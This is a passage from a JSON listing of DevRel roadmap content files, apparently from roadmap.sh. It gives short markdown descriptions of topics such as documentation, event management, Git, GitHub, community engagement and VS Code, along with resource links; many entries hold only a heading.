    "path": "src/data/roadmaps/devrel/content/developer-satisfaction@AwMwMU9hg_gCKPP4tykHb.md",
    "content": "# Developer Satisfaction\n\nDeveloper satisfaction refers to how content and engaged developers feel when using a platform, tool, or service. It encompasses aspects like ease of use, quality of documentation, helpfulness of support, and overall developer experience. High developer satisfaction is crucial because it leads to greater adoption, advocacy, and retention. To achieve it, platforms need to listen actively to developer feedback, provide intuitive and well-documented tools, and ensure quick, effective support. Regularly measuring satisfaction through surveys, feedback loops, and usage analytics helps identify areas for improvement, ensuring that the platform continues to meet developer needs effectively.\n\nLearn more from the following resources:\n\n- [@article@What are developer experience metrics?](https://www.cortex.io/post/developer-experience-metrics-for-software-development-success)\n- [@article@How to measure developer experience with metrics](https://www.opslevel.com/resources/measuring-developer-experience-with-metrics)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/documentation@g3M6nfLr0DMcn-NCFF7nZ.md",
    "content": "# Documentation\n\nDocumentation is a key resource that guides new users through understanding and using a platform or tool. It should provide clear, step-by-step instructions, code examples, and explanations that help developers get started quickly, addressing common questions and challenges. Effective onboarding documentation is well-organized, easy to navigate, and written in a straightforward, approachable tone. It often includes tutorials, guides, and FAQs that cover everything from initial setup to more advanced features, ensuring that developers can smoothly integrate the platform into their projects. Good documentation reduces friction, boosts developer confidence, and accelerates adoption."
  },
  {
    "path": "src/data/roadmaps/devrel/content/editing@6zK9EJDKBC89UArY7sfgs.md",
    "content": "# Editing\n\nEditing is the process of refining raw footage to create a cohesive, engaging final product. It involves cutting, arranging, and enhancing clips to ensure a smooth flow, clear storytelling, and visual appeal. Effective editing also includes adding elements like transitions, graphics, sound effects, and music to emphasize key points and maintain viewer interest. In developer-focused content, such as tutorials or product demos, editing helps simplify complex information, highlighting important details and ensuring clarity. Good editing not only enhances the viewing experience but also helps convey the intended message more effectively and professionally.\n\nLearn more from the following resources:\n\n- [@article@Introduction to video editing](https://www.adobe.com/uk/creativecloud/video/discover/edit-a-video.html)\n- [@article@A complete guide on how to edit videos fast even if you are a beginner](https://www.laura-moore.co.uk/a-complete-guide-on-how-to-edit-videos-fast-even-if-you-are-a-beginner/)\n- [@video@How to edit videos](https://www.youtube.com/watch?app=desktop&v=sTqEmGNtNqk)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/education@EjqJkyojhO7f1uFHIoyGY.md",
    "content": "# Education\n\nDeveloper Education focuses on providing developers with the knowledge and skills they need to effectively use a product, platform, or technology. This involves creating and delivering a variety of educational materials such as documentation, tutorials, courses, webinars, and interactive workshops. Effective developer education programs cater to different learning styles and levels of expertise, from beginners to advanced users.\n\nLearn more from the following resources:\n\n- [@article@What is developer eduction?](https://appsembler.com/glossary/developer-education/)\n- [@article@What is developer education - Dev.to](https://dev.to/jacobandrewsky/what-is-developer-education-5a01)\n- [@article@Successful Developer Education: What you need to know](https://www.developermarketing.io/successful-developer-education-what-you-need-to-know/)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/encouraging-participation@6yLt4Ia52Jke9i5kJQvAC.md",
    "content": "# Encouraging Participation\n\nEncouraging participation involves creating an environment where members feel welcomed, valued, and motivated to engage. This can be achieved by initiating discussions, asking open-ended questions, and hosting events like webinars, AMAs (Ask Me Anything), or contests that encourage sharing and collaboration. Recognizing and rewarding contributions, whether through badges, shout-outs, or exclusive content, helps foster a sense of belonging and appreciation. It’s also important to actively respond to posts, provide guidance, and make sure the community feels heard. By building a supportive, interactive space, community managers can drive more meaningful participation and strengthen overall engagement.\n\nLearn more from the following resources:\n\n- [@article@12 tips to encourage activity in an online community](https://www.yunits.com/en/blogs/12-tips-to-encourage-activity-in-an-online-community/)\n- [@article@How To Increase Community Engagement](https://www.aluminati.net/how-to-increase-community-engagement/)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/engagement-rates@RXj0yB7KsIOM5whwtyBBU.md",
    "content": "# Engagement Rates\n\nEngagement rates are key metrics that measure how actively an audience interacts with content on platforms like social media, blogs, or community forums. They reflect actions such as likes, comments, shares, and clicks, indicating how well the content resonates with the audience. High engagement rates suggest that the content is relevant, valuable, and appealing, while low rates can signal a need for adjustment in the messaging or approach. Tracking engagement rates helps in understanding audience preferences, refining content strategies, and assessing the effectiveness of campaigns, making them essential for improving overall communication and outreach efforts.\n\nLearn more from the following resources:\n\n- [@article@What is Engagement Rate](https://sproutsocial.com/glossary/engagement-rate/)\n- [@video@Introduction to Engagement Rate](https://www.youtube.com/watch?v=SCTbIwADCo4)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/engaging-audience@iKYmUvWFT_C0wnO0iB6gM.md",
    "content": "# Engaging Audience\n\nEngaging the audience in public speaking involves capturing and maintaining their attention through dynamic delivery, relatable content, and interactive elements. Effective speakers use storytelling, humor, and real-life examples to make complex ideas more accessible and memorable. Varying tone, pace, and body language helps keep the presentation lively and prevents monotony. Additionally, asking questions, encouraging participation, and inviting feedback can make the audience feel involved and connected. Engaging speakers not only convey information but also create an experience that resonates, making it easier for the audience to absorb and remember key points."
  },
  {
    "path": "src/data/roadmaps/devrel/content/engaging-content@WIH216mHg2OiSebzQYI-f.md",
    "content": "# Engaging Content\n\nContent on social media is designed to capture attention, spark interaction, and encourage sharing. It’s often visually appealing, informative, or entertaining, offering value that resonates with the audience’s interests. This can include eye-catching images, short videos, infographics, or quick tips that are easy to digest and act on. To boost engagement, content should invite responses, like asking questions, running polls, or encouraging users to share their thoughts.\n\nLearn more from the following resources:\n\n- [@article@Create engaging and effective social media content](https://help.hootsuite.com/hc/en-us/articles/4403597090459-Create-engaging-and-effective-social-media-content)\n- [@video@How To Create Engaging Videos As A Solo Creator](https://www.youtube.com/watch?v=yxXOjyvIkik)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/event-management@usorG1GkkvGAZ0h_AGHVk.md",
    "content": "# Event Management\n\nEvent management involves planning, organizing, and executing events, whether virtual or in-person, to create meaningful experiences for participants. It requires careful coordination of logistics, from selecting venues and scheduling to arranging speakers, promotions, and attendee engagement. Effective event management starts with clear objectives and a detailed plan, covering everything from budgeting and marketing to technical support and post-event follow-ups. Engaging content, interactive sessions, and smooth operations are essential to ensuring a positive experience, encouraging participation, and meeting the event’s goals.\n\nLearn more from the following resources:\n\n- [@article@A step-by-step guide to organising unforgettable professional events for developers](https://weezevent.com/en-gb/blog/organising-events-for-developers/)\n- [@article@Anatomy of a Developer Conference](https://shiloh-events.com/anatomy-of-a-developer-conference/)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/event-participation@C2w8R4tNy2lOhhWU9l32s.md",
    "content": "# Event Participation\n\nEvent participation involves encouraging members to actively join and contribute to events such as workshops, webinars, hackathons, or meetups. Effective participation starts with understanding the community’s interests and creating events that provide value, whether through learning opportunities, networking, or problem-solving. To boost attendance, clear communication, easy registration processes, and engaging promotions are essential. During the event, interactive elements like Q&A sessions, polls, and group activities help keep participants involved and foster a sense of community. \n"
  },
  {
    "path": "src/data/roadmaps/devrel/content/example-apps@mWcMSKnUQamUykBxND-Ju.md",
    "content": "# Example Apps\n\nExample apps are pre-built applications that demonstrate how to use a platform, framework, or set of tools in a practical, real-world scenario. These apps provide developers with hands-on examples of best practices, showing how different components work together and offering a solid starting point for building their projects. Effective example apps are well-documented, easy to set up, and cover common use cases, helping developers quickly understand core concepts and features. By providing clear, functional code, they reduce the learning curve, making it easier for developers to explore, experiment, and adopt new technologies.\n"
  },
  {
    "path": "src/data/roadmaps/devrel/content/execution@1m1keusP-PTjEwy0dCJJL.md",
    "content": "# Execution\n\nIn the context of event management within developer advocacy or developer relations, execution refers to the process of effectively implementing and delivering events such as hackathons, conferences, webinars, or meetups. It involves coordinating logistics, ensuring that speakers, content, and schedules align with the target audience's interests, and driving engagement throughout the event. Strong execution ensures seamless operations, from setup to follow-up, with an emphasis on providing value to attendees and fostering deeper connections within the developer community.\n\nLearn more from the following resources:\n\n- [@article@How to run a successful hackathon](https://hackathon.guide/)\n- [@video@So you want to run an online event](https://www.youtube.com/watch?v=56rvtjZ9x3g)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/facebook@ZMManUnO-9EQqi-xmLt5r.md",
    "content": "# Facebook\n\nFacebook serves as a powerful platform for building and engaging developer communities. It allows developer advocates to share resources, host live events, and create dedicated groups or pages for discussions, fostering collaboration and knowledge sharing. Facebook’s global reach and engagement tools help advocates amplify content, provide support, and maintain an active presence in the developer ecosystem, creating a space for feedback, networking, and promoting tools or products to a broad audience.\n\nLearn more from the following resources:\n\n- [@article@Facebook marketing: The complete guide for your brand’s strategy](https://sproutsocial.com/insights/facebook-marketing-strategy/)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/faqs@4GCQ3stXxW1HrlAVC0qDl.md",
    "content": "# FAQs\n\nFAQs (Frequently Asked Questions) serve as a self-service resource that addresses common queries or issues users may encounter. They help reduce the volume of support tickets by providing quick, accessible answers to recurring problems, ranging from technical troubleshooting to product usage. Well-structured FAQs not only improve customer satisfaction by offering immediate solutions but also free up support teams to focus on more complex cases, ultimately enhancing overall efficiency and user experience. For developer relations, FAQs can include coding examples, integration tips, and clarifications about APIs or tools.\n\nLearn more from the following resources:\n\n- [@article@12 Crystal-Clear FAQ Page Examples & How to Make Your Own](https://blog.hubspot.com/service/faq-page)\n- [@article@How to write an FAQ page](https://uk.indeed.com/career-advice/career-development/how-to-write-faq-page)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/feedback-collection@oWXfov-mOF47d7Vffyp3t.md",
    "content": "# Feedback Collection\n\nFeedback collection is the process of gathering insights and opinions from attendees, participants, and stakeholders to assess the event's effectiveness and identify areas for improvement. This can be done through surveys, polls, one-on-one conversations, or post-event interviews. For developer advocacy events, feedback collection focuses on understanding the value provided to the developer audience, the relevance of content, speaker quality, and logistical aspects such as venue or virtual platform experience. Analyzing this feedback helps refine future events, tailor content more effectively, and enhance overall engagement with the developer community.\n\nLearn more from the following resources:\n\n- [@article@7 Tips to Collect Effective Event Feedback](https://daily.dev/blog/7-tips-to-collect-effective-event-feedback)\n- [@article@Post-event survey questions you should ask after any event](https://uk.surveymonkey.com/mp/post-event-survey-questions/)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/feedback-loop@IxRvVvX9Fax08YUbVob4s.md",
    "content": "# Feedback Loop\n\nFeedback loops are a crucial process that involves collecting, analyzing, and acting on feedback from developers to improve products and services. This loop begins with gathering insights through various channels such as forums, surveys, social media, direct interactions at events, and support tickets. The feedback is then communicated to internal teams, including product management, engineering, and marketing, to inform product enhancements, feature requests, and bug fixes.\n\nLearn more from the following resources:\n\n- [@article@Harnessing the Power of Community Feedback for Product Development](https://draft.dev/learn/devrel-harnessing-the-power-of-community-feedback-for-product-development)\n- [@article@The Developer Advocacy Feedback Loop](https://glaforge.dev/talks/2020/08/06/the-developer-advocacy-feedback-loop/)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/forums@oGTIvAY3zYgoiC63FQRSd.md",
    "content": "# Forums\n\nSupport forums are online platforms where developers can ask questions, share solutions, and collaborate on challenges related to specific products, technologies, or tools. They serve as a valuable resource for peer-to-peer support, allowing the community to contribute their expertise, often reducing the workload of official support teams. Active participation by developer advocates in these forums can foster stronger relationships, provide real-time feedback, and build trust within the community by addressing issues, clarifying doubts, and offering guidance in a more interactive and collaborative environment."
  },
  {
    "path": "src/data/roadmaps/devrel/content/git@a-i1mgF3VAxbbpA1gMWyK.md",
    "content": "# Git\n\nGit is a distributed version control system designed to handle projects of any size with speed and efficiency. Created by Linus Torvalds in 2005, it tracks changes in source code during software development, allowing multiple developers to work together on non-linear development. Git maintains a complete history of all changes, enabling easy rollbacks and comparisons between versions. Its distributed nature means each developer has a full copy of the repository, allowing for offline work and backup. Git’s key features include branching and merging capabilities, staging area for commits, and support for collaborative workflows like pull requests. Its speed, flexibility, and robust branching and merging capabilities have made it the most widely used version control system in software development, particularly for open-source projects and team collaborations.\n\nLearn more from the following resources:\n\n- [@article@What is Git?](https://www.atlassian.com/git/tutorials/what-is-git)\n- [@article@What is Git? Our beginner’s guide to version control](https://github.blog/developer-skills/programming-languages-and-frameworks/what-is-git-our-beginners-guide-to-version-control/)\n- [@video@What is Git? Explained in 2 Minutes!](https://www.youtube.com/watch?v=2ReR1YJrNOM)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/github@8O1AgUKXe35kdiYD02dyt.md",
    "content": "# GitHub\n\nGitHub is a web-based platform for version control and collaboration using Git. Owned by Microsoft, it provides hosting for software development and offers features beyond basic Git functionality. GitHub includes tools for project management, code review, and social coding. Key features include repositories for storing code, pull requests for proposing and reviewing changes, issues for tracking bugs and tasks, and actions for automating workflows. It supports both public and private repositories, making it popular for open-source projects and private development. GitHub’s collaborative features, like forking repositories and inline code comments, facilitate team development and community contributions. With its extensive integrations and large user base, GitHub has become a central hub for developers, serving as a portfolio, collaboration platform, and deployment tool for software projects of all sizes.\n\nLearn more from the following resources:\n\n- [@official@GitHub Website](https://github.com)\n- [@video@How to Use GitHub](https://www.youtube.com/watch?v=v_1iqtOnUMg)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/google-analytics@8xrhjG9qmbsoBC3F8zS-b.md",
    "content": "# Google Analytics\n\nGoogle Analytics is a tool used to track and analyze website traffic and user behavior. It helps advocates understand how developers interact with content such as documentation, tutorials, blogs, or event pages. By analyzing metrics like page views, bounce rates, and user demographics, developer advocates can gauge the effectiveness of their outreach efforts, identify popular resources, and optimize content strategies. This data-driven approach allows for better engagement, personalization, and improved targeting, ultimately helping advocates cater to the specific needs of the developer community.\n\nLearn more from the following resources:\n\n- [@official@Google Analytics Academy](https://developers.google.com/analytics)\n- [@video@Get started with Google Analytics](https://www.youtube.com/watch?v=UuE37-MM1ws)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/guest-blogging@2QiQW9tygpeaES8Wp1Kw6.md",
    "content": "# Guest Blogging"
  },
  {
    "path": "src/data/roadmaps/devrel/content/handling-qa@Xf-Lxi1cKReo4yDLylBbL.md",
    "content": "# Handling Q&A"
  },
  {
    "path": "src/data/roadmaps/devrel/content/handouts@tbIAEStaoVWnEWbdk7EGc.md",
    "content": "# Handouts"
  },
  {
    "path": "src/data/roadmaps/devrel/content/history-and-evolution@KP28dl1I9hxM130gIPxSZ.md",
    "content": "# History and Evolution\n\nThe first Developer Relations teams came about in the lates 80’s during fierce rivalry between Microsoft and Apple. Apple created a team of “Evangelists” and when Microsoft saw the large impact that this team were having on the sales and adoption of Apple products, they created a their own team of “Technical Evangelists” which later became the Microsoft Developer Relations Group.\n\nDevRel has since evolved into multiple roles within itself, including Developer Marketing, Developer Advocate and Developer Engineer.\n\nLearn more from the following resources:\n\n- [@article@Developer Relations History & Mission Structure](https://lmcdunna.medium.com/developer-relations-history-mission-structure-5fcad869deac)\n- [@video@History of Developer Evangelism](https://www.youtube.com/watch?v=ieiQmyrmakI)\n\n"
  },
  {
    "path": "src/data/roadmaps/devrel/content/identifying-audience@UKi3waPx2pozvZf2aQ52s.md",
    "content": "# Identifying Audience"
  },
  {
    "path": "src/data/roadmaps/devrel/content/ides@KdFYmj36M2jrGfsYkukpo.md",
    "content": "# IDEs\n\nThe concept of Integrated Development Environments (IDEs) traces its roots back to the 1960s and 1970s when basic text editors and simple programming tools were used in early computing. The first notable IDEs emerged with the rise of Unix systems in the 1970s, such as the EMACS text editor, which included features like code editing and debugging. Today, IDEs have become essential for developers, supporting multiple programming languages and integrating cloud-based tools, continuous integration, and real-time collaboration. IDEs like Visual Studio Code, IntelliJ IDEA, and Eclipse are widely adopted by developers across industries.\n\nLearn more from the following resources:\n\n- [@article@History of IDEs](https://multiqos.com/blogs/guide-to-integrated-development-environment/#:~:text=While%20TurboPascal%20may%20have%20popularized,significant%20popularity%20in%20the%201980s.)\n- [@official@Visual Studio Code](https://code.visualstudio.com/)\n- [@official@JetBrains IDEs](https://www.jetbrains.com/)\n"
  },
  {
    "path": "src/data/roadmaps/devrel/content/importance-of-devrel@N9HXTCQq2wfC-QurSofE_.md",
    "content": "# Importance of DevRel\n\nDeveloper Relations (DevRel) is crucial for fostering a vibrant and engaged developer community around a product or platform. It involves creating and maintaining strong relationships with developers through activities like community building, technical support, advocacy, and education. Effective DevRel ensures that developers have the resources and support they need to succeed, which in turn drives product adoption, innovation, and loyalty. By bridging the gap between a company's development teams and external developers, DevRel can also provide valuable feedback for product improvements and help in shaping the future direction of the product or platform.\n\nLearn more from the following resources:\n\n- [@article@What is Developer Relations? The Ultimate Guide for DevTool GTM Teams](https://www.doc-e.ai/post/what-is-developer-relations-the-ultimate-guide-for-devtool-gtm-teams)\n- [@article@DevRel - Why is it important?](https://developers.onelogin.com/blog/devrel)\n- [@article@The role of developer advocacy in driving innovation](https://leaddev.com/process/role-developer-advocacy-driving-innovation)\n"
  },
  {
    "path": "src/data/roadmaps/devrel/content/initial-outreach@hPJM4QXxeqTxPlvJ2_D3_.md",
    "content": "# Initial Outreach"
  },
  {
    "path": "src/data/roadmaps/devrel/content/insights--recommendations@mh1BZDVkc-VwA8aQAmDhO.md",
    "content": "# Insights & Recommendations"
  },
  {
    "path": "src/data/roadmaps/devrel/content/instagram@UAkGV9_I6qiKZMr1aqQCm.md",
    "content": "# Instagram"
  },
  {
    "path": "src/data/roadmaps/devrel/content/issue-tracking@j6tr3mAaKqTuEFTRSCsrK.md",
    "content": "# Issue Tracking"
  },
  {
    "path": "src/data/roadmaps/devrel/content/issues--pull-requests@vCoEJyS4qMWTTiL17PmWr.md",
    "content": "# Issues & Pull Requests"
  },
  {
    "path": "src/data/roadmaps/devrel/content/jetbrains-ides@NCnKS435DCl-8vilr1_XE.md",
    "content": "# JetBrains IDEs"
  },
  {
    "path": "src/data/roadmaps/devrel/content/key-metrics@DCj1teu8Hp82EKnakFRPn.md",
    "content": "# Key Metrics"
  },
  {
    "path": "src/data/roadmaps/devrel/content/labelling-and-cleanup@x3qTqhR1uA5CXqULIJqL8.md",
    "content": "# Labelling and Cleanup"
  },
  {
    "path": "src/data/roadmaps/devrel/content/linkedin@6UR59TigEZ0NaixbaUIqn.md",
    "content": "# LinkedIn\n\nDevRel professionals can effectively leverage LinkedIn by strategically building and engaging with a network relevant to their industry. This can be achieved by sharing insightful content, such as articles, success stories, and technical guides related to developer relations, which showcases their expertise and enhances their visibility. Engaging in LinkedIn Groups and participating in discussions not only helps in staying up-to-date with industry trends but also in establishing themselves as thought leaders in the developer community. Additionally, LinkedIn can be used to promote and expand the reach of community events, webinars, and conferences, thus strengthening community engagement and fostering professional connections that are essential for successful developer relations.\n\n- [@official@Visit LinkedIn](https://linkedin.com)\n"
  },
  {
    "path": "src/data/roadmaps/devrel/content/live-streaming@iPaFjacZ7hSWriSEqUmHc.md",
    "content": "# Live Streaming"
  },
  {
    "path": "src/data/roadmaps/devrel/content/managing-difficult-questions@VSOdD9KKF_Qz8nbRdHNo3.md",
    "content": "# Managing Difficult Questions"
  },
  {
    "path": "src/data/roadmaps/devrel/content/managing-discussions@J2WunUJBzYw_D5cQH_pnH.md",
    "content": "# Managing Discussions"
  },
  {
    "path": "src/data/roadmaps/devrel/content/media-appearances@QrDqUGWC2t9r6p4aR8I5g.md",
    "content": "# Media Appearances"
  },
  {
    "path": "src/data/roadmaps/devrel/content/meetups@HIIqlnZ4Vad_1o4F0lkv-.md",
    "content": "# Meetups"
  },
  {
    "path": "src/data/roadmaps/devrel/content/milestones--releases@v_lDqjtxjRK67GsbtxXgT.md",
    "content": "# Milestones & Releases"
  },
  {
    "path": "src/data/roadmaps/devrel/content/mind-mapping@uwvvWmcZnFqLoHRDFXFyW.md",
    "content": "# Mind Mapping"
  },
  {
    "path": "src/data/roadmaps/devrel/content/moderation@d_dKF87OnRWoWj3Bf1uFf.md",
    "content": "# Moderation"
  },
  {
    "path": "src/data/roadmaps/devrel/content/networking-strategies@4ygpqUK70hI5r1AmmfMZq.md",
    "content": "# Networking Strategies"
  },
  {
    "path": "src/data/roadmaps/devrel/content/networking@SJf9e7SQnzYVHoRWl0i6P.md",
    "content": "# Networking"
  },
  {
    "path": "src/data/roadmaps/devrel/content/office-hours@weyCcboaekqf5NuVAOxfU.md",
    "content": "# Office Hours"
  },
  {
    "path": "src/data/roadmaps/devrel/content/online-communities@gvMbo22eRxqOzszc_w4Gz.md",
    "content": "# Online Communities"
  },
  {
    "path": "src/data/roadmaps/devrel/content/online-communities@lMbj0WdoEia_tdpO5rXph.md",
    "content": "# Online Communities"
  },
  {
    "path": "src/data/roadmaps/devrel/content/open-source@NhQUDVA9q1hnV44EKapbU.md",
    "content": "# Open-Source"
  },
  {
    "path": "src/data/roadmaps/devrel/content/pechakucha@_FZNqUKgPkzbgOPoiSLSU.md",
    "content": "# PechaKucha"
  },
  {
    "path": "src/data/roadmaps/devrel/content/planning@RQk3uOikjQYRyTu7vuAG7.md",
    "content": "# Planning"
  },
  {
    "path": "src/data/roadmaps/devrel/content/platform-selection@WItTQ1QboHoRkqeHJzCM9.md",
    "content": "# Platform Selection"
  },
  {
    "path": "src/data/roadmaps/devrel/content/platform-specific-analytics@AL3-UzREwTpsADTU0YtRW.md",
    "content": "# Platform Specific Analytics"
  },
  {
    "path": "src/data/roadmaps/devrel/content/post-event-followup@kmcOYDvu1vq7AQPllZvv0.md",
    "content": "# Post Event Followup"
  },
  {
    "path": "src/data/roadmaps/devrel/content/presentation-techniques@PFjF2PnYpSbvd24jb_D2G.md",
    "content": "# Presentation Techniques"
  },
  {
    "path": "src/data/roadmaps/devrel/content/promotion@C9--J8gGZENQKn-QcZK4M.md",
    "content": "# Promotion"
  },
  {
    "path": "src/data/roadmaps/devrel/content/public-backlog@7ZFTmlQHYQKNjKprwV8zk.md",
    "content": "# Public Backlog"
  },
  {
    "path": "src/data/roadmaps/devrel/content/public-speaking@LRZ8yxTfEGCXsYp4N1_uD.md",
    "content": "# Public Speaking\n\nPublic speaking is very important for a Developer Relations (DevRel) role, though its exact importance depends on the specific job and company. DevRel professionals act as a bridge between a company (often its tech or product team) and the developer community, so communication—especially in public settings—is a core part of the gig.\n"
  },
  {
    "path": "src/data/roadmaps/devrel/content/publishing@I7RBMfoD30OstVLeTrMs9.md",
    "content": "# Publishing"
  },
  {
    "path": "src/data/roadmaps/devrel/content/recognition-programs@Nta8pUncwNQxJlqF6h1AT.md",
    "content": "# Recognition Programs"
  },
  {
    "path": "src/data/roadmaps/devrel/content/recording@_QHUpFW4kZ5SBaP7stXY2.md",
    "content": "# Recording"
  },
  {
    "path": "src/data/roadmaps/devrel/content/regular-reports@U2QKCu6TvDuxSNRfdM74n.md",
    "content": "# Regular Reports"
  },
  {
    "path": "src/data/roadmaps/devrel/content/repetition--reinforcement@2iRt9E42i_ej4woKCW_s2.md",
    "content": "# Repetition & Reinforcement"
  },
  {
    "path": "src/data/roadmaps/devrel/content/reporting@N1uh7dVKfSPT7w0MlKzWO.md",
    "content": "# Reporting"
  },
  {
    "path": "src/data/roadmaps/devrel/content/rules-and-policies@8I59U-nnkhQv8ldRuqQlb.md",
    "content": "# Rules and Policies"
  },
  {
    "path": "src/data/roadmaps/devrel/content/rules-of-three@vH_ECVYSQ3Fg-DASO1EgK.md",
    "content": "# Rules of Three"
  },
  {
    "path": "src/data/roadmaps/devrel/content/sample-projects@xy9Kqtwrh5IhYHaqEhvl_.md",
    "content": "# Sample Projects"
  },
  {
    "path": "src/data/roadmaps/devrel/content/scripting@rLDRkUht9K1m4noMAIgKU.md",
    "content": "# Scripting"
  },
  {
    "path": "src/data/roadmaps/devrel/content/seo-basics@zVBy8o66FdZueg-2v3gaw.md",
    "content": "# SEO Basics"
  },
  {
    "path": "src/data/roadmaps/devrel/content/social-media-analytics@x8RIrK2VB-LBFbt6hAcQb.md",
    "content": "# Social Media Analytics"
  },
  {
    "path": "src/data/roadmaps/devrel/content/social-media@71BBFjaON1NJi4rOHKW6K.md",
    "content": "# Social Media"
  },
  {
    "path": "src/data/roadmaps/devrel/content/social-media@urbtoZtuJryK-6TJ3lmRN.md",
    "content": "# Social Media"
  },
  {
    "path": "src/data/roadmaps/devrel/content/storytelling@Y0GUZynSXjITDOA-TP6LH.md",
    "content": "# Storytelling"
  },
  {
    "path": "src/data/roadmaps/devrel/content/streamyard@meZDgDJMy4aH5VqS-NJL4.md",
    "content": "# Streamyard"
  },
  {
    "path": "src/data/roadmaps/devrel/content/support@LwNa3u9Lf88ju5w7CvSN5.md",
    "content": "# Support"
  },
  {
    "path": "src/data/roadmaps/devrel/content/surveys@_Qe_0RksYpX7Spzgc6Fw3.md",
    "content": "# Surveys"
  },
  {
    "path": "src/data/roadmaps/devrel/content/technical-documentation@X0xUzEP0S6SyspvqyoDDk.md",
    "content": "# Technical Documentation\n\nTechnical documentation refers to the process of creating and maintaining written descriptions of software, hardware, and other technical products or systems. It involves communicating complex information in a clear, concise, and organized manner to help users understand, operate, and maintain the product or system. Effective technical documentation can take many forms, including user manuals, guides, tutorials, release notes, and API documentation, and is typically created by technical writers, developers, and subject matter experts. The goal of technical documentation is to provide accurate, up-to-date, and easily accessible information that enables users to get the most out of a product or system, while also reducing support queries and improving overall user experience.\n\nLearn more from the following resources:\n\n- [@roadmap@Technical Writer Roadmap](https://roadmap.sh/technical-writer)\n- [@article@Technical Writing - MDN Docs](https://developer.mozilla.org/en-US/blog/technical-writing/)\n- [@article@Technical Documentation - Wikipedia](https://en.wikipedia.org/wiki/Technical_documentation)\n"
  },
  {
    "path": "src/data/roadmaps/devrel/content/technical-setup@8aiLVG4clveX1Luiehvxr.md",
    "content": "# Technical Setup"
  },
  {
    "path": "src/data/roadmaps/devrel/content/the-hook@VTGsmk3p4RVXiNhDmx2l8.md",
    "content": "# The Hook"
  },
  {
    "path": "src/data/roadmaps/devrel/content/thought-leadership@wcfrXA9zWZ4Taey7mR2yG.md",
    "content": "# Thought Leadership"
  },
  {
    "path": "src/data/roadmaps/devrel/content/tools@psk3bo-nSskboAoVTjlpz.md",
    "content": "# Tools"
  },
  {
    "path": "src/data/roadmaps/devrel/content/topic-selection@uzMfR6Yd9Jvjn8i5RpC1Q.md",
    "content": "# Topic Selection"
  },
  {
    "path": "src/data/roadmaps/devrel/content/tracking-engagement@NWxAxiDgvlGpvqdkzqnOH.md",
    "content": "# Tracking Engagement"
  },
  {
    "path": "src/data/roadmaps/devrel/content/tutorials@6ubk20TBIL3_VrrRMe8tO.md",
    "content": "# Tutorials"
  },
  {
    "path": "src/data/roadmaps/devrel/content/twitch@QlWam-kHv8G_-yx3ClP9s.md",
    "content": "# Twitch"
  },
  {
    "path": "src/data/roadmaps/devrel/content/understanding-apis@7Q6_tdRaeb8BgreG8Mw-a.md",
    "content": "# Understanding APIs"
  },
  {
    "path": "src/data/roadmaps/devrel/content/use-case-based@omnUSgUHZg2DmnOUJ0Xo1.md",
    "content": "# Use Case Based"
  },
  {
    "path": "src/data/roadmaps/devrel/content/user-guides@RLf08xKMjlt6S9-MFiTo-.md",
    "content": "# User Guides"
  },
  {
    "path": "src/data/roadmaps/devrel/content/version-control@x6KFf4akYuUYkNhrUwj1r.md",
    "content": "# Version Control"
  },
  {
    "path": "src/data/roadmaps/devrel/content/video-production@bRzzc137OlmivEGdhv5Ew.md",
    "content": "# Video Production"
  },
  {
    "path": "src/data/roadmaps/devrel/content/video-production@pEMNcm_wJNmOkWm57L1pA.md",
    "content": "# Video Production"
  },
  {
    "path": "src/data/roadmaps/devrel/content/video@tRywPj_2VyjSLjxYJtYZd.md",
    "content": "# Video"
  },
  {
    "path": "src/data/roadmaps/devrel/content/visualization@SNhrYZsmyDHN_JWh0eZy2.md",
    "content": "# Visualization"
  },
  {
    "path": "src/data/roadmaps/devrel/content/vs-code@j5nNSYI8s-cH8EA6G1EWY.md",
    "content": "# Visual Studio Code\n\nVisual Studio Code (VSCode) was first announced by Microsoft in 2015 and quickly became one of the most popular and widely used Integrated Development Environments (IDEs). Built on Electron, a framework that allows web technologies like JavaScript, HTML, and CSS to create desktop applications, VSCode offers a lightweight and highly extensible platform for developers. VSCode focuses on being a streamlined code editor with the ability to install extensions that add features such as debugging, version control, and language-specific tooling. Microsoft's vision was to create a flexible environment that could cater to all types of developers, from beginners to seasoned professionals.\n\nLearn more from the following resources:\n\n- [@official@Visual Studio Code](https://code.visualstudio.com/)\n- [@official@Docs - Visual Studio Code](https://code.visualstudio.com/docs)\n- [@video@FreeCodeCamp Crash Course](https://www.youtube.com/watch?v=WPqXP_kLzpo)\n- [@video@VSCode Basics](https://www.youtube.com/watch?v=B-s71n0dHUk)\n- [@video@VSCode in 100 Seconds](https://www.youtube.com/watch?v=KMxo3T_MTvY)\n"
  },
  {
    "path": "src/data/roadmaps/devrel/content/webinars@1fc0iWwOkheUJ7d0np86L.md",
    "content": "# Webinars"
  },
  {
    "path": "src/data/roadmaps/devrel/content/what-is-devrel@SiYUdtYMDImRPmV2_XPkH.md",
    "content": "# What is DevRel?\n\nDevRel, or Developer Relations, is a field that connects a company's technical products or services with the developer community. It encompasses community engagement, technical advocacy, feedback collection, content creation, event participation, and product evangelism.\n\nDevRel professionals build relationships with developers, educate them about company tools and APIs, gather insights for product improvement, produce technical content, represent the company at industry events, and promote technology adoption.\n\nThey typically possess both technical expertise and strong communication skills, serving as a vital link between external developers and internal engineering and product teams. DevRel aims to foster a positive ecosystem around a company's technology, driving adoption and user satisfaction."
  },
  {
    "path": "src/data/roadmaps/devrel/content/writing-documentation@pqp9FLRJRDDEnni72KHmv.md",
    "content": "# Writing Documentation"
  },
  {
    "path": "src/data/roadmaps/devrel/content/writing-process@l6-mzgDTXg2EPkyZyZ6TC.md",
    "content": "# Writing Process"
  },
  {
    "path": "src/data/roadmaps/devrel/content/writing-skills@0ntOE6PSdMl_EXB9gdgIv.md",
